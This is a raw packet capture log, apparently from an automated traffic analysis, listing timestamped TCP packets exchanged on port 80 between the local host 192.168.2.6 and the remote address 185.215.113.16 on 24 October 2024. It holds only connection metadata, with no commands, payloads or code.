Oct 24, 2024 11:02:34.579556942 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579582930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579593897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579605103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579622030 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579636097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579646111 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579648018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579690933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579711914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579724073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579731941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579745054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579756975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579758883 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579783916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579849005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579862118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579871893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579902887 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579933882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579947948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579961061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.579996109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.579996109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580008030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580020905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580034018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580061913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580193996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580257893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580317020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580389023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580410004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580424070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580435038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580447912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580455065 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580460072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580471039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580473900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580507994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580511093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580528975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580539942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580547094 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580550909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580584049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580589056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580596924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580610037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580621004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580631971 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580634117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580662012 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580666065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580686092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580687046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580708981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580739975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580773115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580792904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580802917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580826044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580837965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580849886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.580851078 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580852032 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.580877066 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.584949017 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.618788958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618804932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618818998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618839025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618845940 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.618853092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618891954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618899107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.618899107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.618907928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618921041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618932962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618954897 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.618968010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618978977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.618982077 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.619005919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.619028091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.619043112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.619071007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.619081974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.619085073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.619129896 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.685899019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697482109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697498083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697541952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697554111 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697592020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697640896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697654963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697668076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697690964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697705030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697717905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697730064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697755098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697782040 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697784901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697798014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697809935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697819948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697853088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697879076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697896004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697917938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697931051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697943926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.697963953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.697988987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.698117971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698134899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698179007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.698196888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698209047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698221922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698237896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698246956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.698259115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698281050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.698282003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698295116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698307037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698319912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698321104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.698331118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698348045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.698358059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698369980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.698374987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.698415041 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.699522018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699600935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699614048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699651003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699665070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.699670076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699681997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699690104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.699734926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.699780941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699795961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699810028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699853897 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.699903965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699917078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699928999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.699958086 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700011015 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700057983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700079918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700099945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700110912 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700113058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700124979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700130939 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700136900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700155973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700158119 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700170994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700185061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700191021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700202942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700216055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700225115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700228930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700239897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700251102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700252056 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700262070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700282097 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700294971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700309038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700320959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700330973 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700333118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700345993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700356960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700357914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700373888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700385094 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700387001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700401068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700414896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700419903 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700431108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700442076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700454950 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700455904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700486898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700499058 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700525045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700536966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700556040 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700568914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700568914 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700589895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700601101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700613022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700619936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700628042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700634003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.700642109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.700669050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.722507000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.738188028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738214970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738229990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738241911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738245010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.738277912 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.738310099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738322973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738334894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738348007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738353014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.738368988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.738444090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738456011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738467932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738480091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738490105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.738492966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.738518000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.738543987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816205978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816232920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816246986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816257954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816270113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816282034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816296101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816364050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816380978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816394091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816406012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816410065 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816418886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816431046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816431999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816442013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816447973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816452026 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816461086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816473961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816479921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816510916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816520929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.816930056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816968918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.816981077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817012072 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817038059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817049980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817061901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817075968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817076921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817095995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817172050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817184925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817197084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817209005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817210913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817250013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817693949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817732096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817744970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817774057 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817785025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817796946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817809105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817822933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817835093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.817853928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.817878962 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818023920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818036079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818047047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818058968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818070889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818082094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818084002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818094015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818104982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818110943 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818116903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818130016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818145990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818476915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818519115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818521976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818533897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818607092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818618059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818629980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818640947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818645954 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818651915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818677902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818691969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818757057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818778038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818789959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818815947 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818840027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818845034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818856955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818869114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818893909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.818928957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.818969965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819061995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819076061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819096088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819107056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819135904 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819159985 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.819202900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819215059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819226027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819231987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819238901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.819252968 CEST	80	49756	185.215.113.16	192.168.2.6
